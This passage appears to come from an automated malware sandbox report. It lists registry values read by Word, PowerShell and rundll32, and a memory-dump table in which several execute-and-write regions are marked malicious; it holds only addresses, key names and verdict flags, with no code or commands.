C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimSun-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Agency FB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Aharoni
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Algerian
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Andalus
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Angsana New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
AngsanaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Aparajita
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arabic Typesetting
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Black
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Narrow
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Rounded MT Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Unicode MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Baskerville Old Face
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Batang
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
BatangChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bauhaus 93
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bell MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Berlin Sans FB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Berlin Sans FB Demi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bernard MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Blackadder ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Black
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Poster Compressed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Book Antiqua
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bookman Old Style
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bookshelf Symbol 7
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bradley Hand ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Britannic Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Broadway
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Browallia New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
BrowalliaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Brush Script MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calibri
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calibri Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Californian FB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calisto MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria Math
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Candara
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Castellar
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Centaur
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century Schoolbook
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Chiller
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Colonna MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Comic Sans MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Consolas
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Constantia
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cooper Black
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Copperplate Gothic Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Copperplate Gothic Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Corbel
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cordia New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
CordiaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Courier New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Curlz MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DaunPenh
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
David
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DFKai-SB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DilleniaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DokChampa
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Dotum
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DotumChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Ebrima
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Edwardian Script ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Elephant
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Engravers MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Bold ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Demi ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Light ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Medium ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Estrangelo Edessa
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
EucrosiaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Euphemia
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FangSong
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Felix Titling
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Footlight MT Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Forte
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Book
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Demi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Demi Cond
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Heavy
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Medium
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Medium Cond
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FrankRuehl
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FreesiaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Freestyle Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
French Script MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gabriola
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Garamond
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gautami
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Georgia
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gigi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT Ext Condensed Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans Ultra Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans Ultra Bold Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gisha
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gloucester MT Extra Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Goudy Old Style
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Goudy Stout
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gulim
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
GulimChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gungsuh
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
GungsuhChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Haettenschweiler
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Harlow Solid Italic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Harrington
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
High Tower Text
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Impact
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Imprint MT Shadow
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Informal Roman
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
IrisUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Iskoola Pota
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
JasmineUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Jokerman
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Juice ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
KaiTi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kalinga
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kartika
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Khmer UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
KodchiangUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kokila
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kristen ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kunstler Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lao UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Latha
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Leelawadee
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Levenim MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
LilyUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Bright
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Calligraphy
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Console
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Fax
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Handwriting
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans Typewriter
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans Unicode
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Magneto
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Maiandra GD
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Malgun Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mangal
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Marlett
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Matura MT Script Capitals
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Meiryo
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Meiryo UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Himalaya
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft JhengHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft New Tai Lue
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft PhagsPa
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Sans Serif
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Tai Le
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Uighur
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft YaHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Yi Baiti
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU_HKSCS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU_HKSCS-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Miriam
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Miriam Fixed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mistral
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Modern No. 20
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mongolian Baiti
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Monotype Corsiva
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MoolBoran
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Mincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Outlook
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS PGothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS PMincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Reference Sans Serif
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Reference Specialty
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS UI Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MT Extra
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MV Boli
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Narkisim
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Niagara Engraved
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Niagara Solid
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
NSimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Nyala
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
OCR A Extended
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Old English Text MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Onyx
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Palace Script MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Palatino Linotype
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Papyrus
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Parchment
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Perpetua
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Perpetua Titling MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Plantagenet Cherokee
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Playbill
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
PMingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
PMingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Poor Richard
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Pristina
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Raavi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rage Italic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Ravie
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell Extra Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rod
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Sakkal Majalla
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Script MT Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe Print
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Semibold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Symbol
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Shonar Bangla
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Showcard Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Shruti
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Simplified Arabic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Simplified Arabic Fixed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimSun-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Snap ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Stencil
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Sylfaen
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Symbol
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tahoma
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tempus Sans ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Times New Roman
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Traditional Arabic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Trebuchet MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tunga
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT Condensed Extra Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Utsaah
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vani
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Verdana
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vijaya
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Viner Hand ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vivaldi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vladimir Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vrinda
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Webdings
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wide Latin
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings 2
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings 3
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria Math
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tahoma
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
F4D27
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
LastPurgeTime
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
WORDFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
F4D27
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Settings
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ZoomApp
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTF
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTA
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableFileTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableConsoleTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ConsoleTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
MaxFileSize
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileDirectory
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableFileTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableConsoleTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ConsoleTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
MaxFileSize
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileDirectory
 clean
C:\Windows\SysWOW64\rundll32.exe
SavedLegacySettings
 clean
There are 326 hidden registries, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
210000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
1D0000
unkown
page execute and read and write
 malicious
1E0000
unkown
page execute and read and write
 malicious
210000
unkown
page execute and read and write
 malicious
230000
unkown
page execute and read and write
 malicious
210000
unkown
page execute and read and write
 malicious
200000
unkown
page execute and read and write
 malicious
190000
unkown
page execute and read and write
 malicious
200000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
230000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
170000
unkown
page execute and read and write
 malicious
1F0000
unkown
page execute and read and write
 malicious
1F0000
unkown
page execute and read and write
 malicious
210000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
190000
unkown
page execute and read and write
 malicious
1E0000
unkown
page execute and read and write
 malicious
1A0000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
250000
unkown
page execute and read and write
 malicious
190000
unkown
page execute and read and write
 malicious
1A0000
unkown
page execute and read and write
 malicious
7FFFFF10000
unkown
page execute and read and write
 clean
2899000
heap private
page read and write
 clean
6A0000
heap default
page read and write
 clean
12CC1000
unkown
page read and write
 clean
140000
unkown
page read and write
 clean
2574000
unkown
page read and write
 clean
5E7000
heap default
page read and write
 clean
3C24000
unkown
page read and write
 clean
2067000
unkown
page readonly
 clean
340000
heap private
page read and write
 clean
26B0000
unkown
page read and write
 clean
F0000
unkown
page readonly
 clean
2650000
unkown
page read and write
 clean
1E30000
unkown
page readonly
 clean
7FF000D2000
unkown
page execute and read and write
 clean
350000
unkown
page read and write
 clean
8C2000
heap private
page read and write
 clean
276D000
unkown
page read and write
 clean
180000
heap private
page read and write
 clean
231000
unkown
page execute and read and write
 clean
1B400000
unkown
page read and write
 clean
190000
unkown
page execute and read and write
 clean
440000
heap default
page read and write
 clean
9CE000
stack
page read and write
 clean
100000
heap default
page read and write
 clean
880000
unkown
page readonly
 clean
C50000
heap private
page read and write
 clean
658000
heap default
page read and write
 clean
254D000
unkown
page read and write
 clean
940000
heap private
page read and write
 clean
3614000
unkown
page read and write
 clean
10021000
unkown
page execute and read and write
 clean
10000000
unkown image
page readonly
 clean
3601000
unkown
page read and write
 clean
370000
heap default
page read and write
 clean
417000
heap default
page read and write
 clean
140000
heap private
page read and write
 clean
930000
unkown
page readonly
 clean
360000
unkown
page readonly
 clean
25BE000
unkown
page read and write
 clean
42D000
heap default
page read and write
 clean
7FF000E0000
unkown
page read and write
 clean
5B7000
heap default
page read and write
 clean
10000000
unkown image
page readonly
 clean
170000
unkown
page readonly
 clean
24BE000
unkown
page read and write
 clean
26B0000
unkown
page read and write
 clean
610000
unkown
page readonly
 clean
2260000
unkown
page readonly
 clean
2247000
unkown
page readonly
 clean
3042000
unkown
page read and write
 clean
221000
unkown
page execute and read and write
 clean
26B0000
unkown
page read and write
 clean
160000
unkown
page readonly
 clean
87E000
stack
page read and write
 clean
D0000
unkown
page readonly
 clean
90000
unkown
page readonly
 clean
4B6000
heap default
page read and write
 clean
690000
unkown
page readonly
 clean
280000
unkown
page readonly
 clean
20000
unkown
page readonly
 clean
810000
unkown
page readonly
 clean
2A00000
unkown
page readonly
 clean
2A30000
heap private
page read and write
 clean
251000
unkown
page execute and read and write
 clean
3021000
unkown
page read and write
 clean
1D57000
unkown
page readonly
 clean
7EFDF000
unkown
page read and write
 clean
3B0000
heap default
page read and write
 clean
A5E000
stack
page read and write
 clean
AB000
unkown
page read and write
 clean
440000
heap default
page read and write
 clean
13E000
heap default
page read and write
 clean
3083000
unkown
page read and write
 clean
530000
heap default
page read and write
 clean
26B0000
unkown
page read and write
 clean
20000
unkown
page readonly
 clean
2F6B000
unkown
page read and write
 clean
A4E000
unkown
page read and write
 clean
8B000
unkown
page read and write
 clean
E0000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
330000
unkown
page readonly
 clean
240000
unkown
page readonly
 clean
1B490000
unkown
page read and write
 clean
4E3000
heap default
page read and write
 clean
D0000
unkown
page readonly
 clean
1E80000
unkown
page readonly
 clean
600000
heap default
page read and write
 clean
5D0000
unkown
page readonly
 clean
31B2000
unkown
page read and write
 clean
670000
unkown
page readonly
 clean
4C0000
unkown
page readonly
 clean
1C960000
heap private
page read and write
 clean
7FF001E0000
unkown
page read and write
 clean
10000000
